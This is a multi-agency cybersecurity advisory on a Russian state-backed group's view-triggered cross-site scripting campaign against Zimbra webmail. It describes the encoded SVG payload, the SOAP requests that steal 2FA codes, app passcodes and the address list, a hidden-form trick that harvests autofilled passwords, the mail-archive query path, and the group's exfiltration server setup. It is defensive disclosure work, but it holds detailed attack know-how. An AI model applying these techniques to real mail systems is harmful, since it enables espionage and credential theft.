<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
